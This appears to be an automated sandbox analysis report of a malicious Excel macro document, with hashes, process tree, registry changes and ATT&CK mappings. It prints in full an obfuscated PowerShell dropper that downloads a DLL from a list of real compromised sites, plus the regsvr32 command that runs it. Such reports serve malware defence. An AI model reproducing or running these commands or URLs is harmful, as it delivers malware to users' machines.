e96157b087433e6229b73c34378b78a424e212f8aa17b636e061bbb510160dde

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 21:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e96157b087433e6229b73c34378b78a424e212f8aa17b636e061bbb510160dde.xls
Size

438KB
MD5

24566eb11518c1097b4f73f5df0f6ade
SHA1

a0259d07a45d3c3dc41a3035f8a2c708a0ec9218
SHA256

e96157b087433e6229b73c34378b78a424e212f8aa17b636e061bbb510160dde
SHA512

49d8c76c6fe0a8bb3d8e3e4f88460df7fbc6e1f7978c23152ec3dfe46fe32fb44e8eabf2cd6c6292711afbcd7ef1454a1be10ce8ca121c8bcda4b20dea507e21
SSDEEP

12288:J947a/JjsLZjXYc7X0/aXCKli04OaZ1XyAzhFA:ZurYc7E/i004OS7zhFA

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://wildmanwildfood.com/wp-admin/wxyadXKXFe/

exe.dropper

https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/

exe.dropper

https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/

exe.dropper

https://fastonlineearn.com/wp-content/L/

exe.dropper

https://mbmscaffolding.co.uk/test/3j/

exe.dropper

https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/

exe.dropper

https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/

exe.dropper

http://lonaomer.com/wp-content/6G/

exe.dropper

https://tainformado.com.br/wp-content/0Ysot/

exe.dropper

https://nifdtb.in/wp-content/9uHo3GBgyIQ/

exe.dropper

https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/

exe.dropper

https://narsanat.com/banner/TnIhz/

exe.dropper

https://vanessanascimento.com.br/auren-xbox/cDD2dfW/

exe.dropper

https://medvital.com.br/arquivos/q6ZjbPPoR7l/

exe.dropper

https://mcjalandhar.in/1950-kill/BMoLHJM4g/

exe.dropper

https://nuranabd.com/wp-content/BhYOZ2pJV5q/

exe.dropper

https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/

exe.dropper

http://news.leta.com.vn/-/NQOY80o/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

wscript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2672	2084	wscript.exe	EXCEL.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2632 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2632	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

wscript.exepowershell.execmd.exeregsvr32.exeEXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\TypeLib\{C597225C-0CD4-4991-AC83-BAACDF5426ED}\2.0	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\TypeLib\{C597225C-0CD4-4991-AC83-BAACDF5426ED}\2.0\ = "Microsoft Forms 2.0 Object Library"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C597225C-0CD4-4991-AC83-BAACDF5426ED}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C597225C-0CD4-4991-AC83-BAACDF5426ED}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\TypeLib\{C597225C-0CD4-4991-AC83-BAACDF5426ED}\2.0\0	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2084 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2632 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2632 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2084 EXCEL.EXE
2084 EXCEL.EXE
2084 EXCEL.EXE

pid	process
2084	EXCEL.EXE

pid	process
2632	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2632	powershell.exe

pid	process
2084	EXCEL.EXE
2084	EXCEL.EXE
2084	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

EXCEL.EXEwscript.execmd.exe

description	pid	process	target process
PID 2084 wrote to memory of 2672	2084	EXCEL.EXE	wscript.exe
PID 2084 wrote to memory of 2672	2084	EXCEL.EXE	wscript.exe
PID 2084 wrote to memory of 2672	2084	EXCEL.EXE	wscript.exe
PID 2084 wrote to memory of 2672	2084	EXCEL.EXE	wscript.exe
PID 2672 wrote to memory of 2632	2672	wscript.exe	powershell.exe
PID 2672 wrote to memory of 2632	2672	wscript.exe	powershell.exe
PID 2672 wrote to memory of 2632	2672	wscript.exe	powershell.exe
PID 2672 wrote to memory of 2632	2672	wscript.exe	powershell.exe
PID 2672 wrote to memory of 2004	2672	wscript.exe	cmd.exe
PID 2672 wrote to memory of 2004	2672	wscript.exe	cmd.exe
PID 2672 wrote to memory of 2004	2672	wscript.exe	cmd.exe
PID 2672 wrote to memory of 2004	2672	wscript.exe	cmd.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe
PID 2004 wrote to memory of 324	2004	cmd.exe	regsvr32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e96157b087433e6229b73c34378b78a424e212f8aa17b636e061bbb510160dde.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\SysWOW64\wscript.exe
  wscript c:\programdata\etyockqw.vbs
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - \??\c:\windows\syswow64\regsvr32.exe
      c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
      4⤵
      System Location Discovery: System Language Discovery
      PID:324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\??\c:\programdata\etyockqw.vbs

Filesize
2KB

MD5
a35f55cf91f2003615533b5be5948090

SHA1
b5b89075550e2592b69f4541cfbdf33dd8fbf175

SHA256
d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c

SHA512
098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899

Download Submit
memory/2084-52-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-71-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-11-0x0000000006670000-0x0000000006770000-memory.dmp

Filesize
1024KB

Download
memory/2084-51-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-24-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-23-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-22-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-21-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-19-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-35-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-34-0x00000000062B0000-0x00000000063B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-40-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-39-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-37-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-38-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-36-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-44-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-61-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-43-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-54-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-53-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2084-20-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-10-0x00000000062B0000-0x00000000063B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-45-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-60-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-59-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-58-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-57-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-55-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-50-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-49-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-47-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-46-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-42-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-41-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-1-0x000000007278D000-0x0000000072798000-memory.dmp

Filesize
44KB

Download
memory/2084-65-0x000000007278D000-0x0000000072798000-memory.dmp

Filesize
44KB

Download
memory/2084-66-0x00000000062B0000-0x00000000063B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-67-0x0000000006670000-0x0000000006770000-memory.dmp

Filesize
1024KB

Download
memory/2084-68-0x00000000062B0000-0x00000000063B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-69-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-70-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-56-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2084-72-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download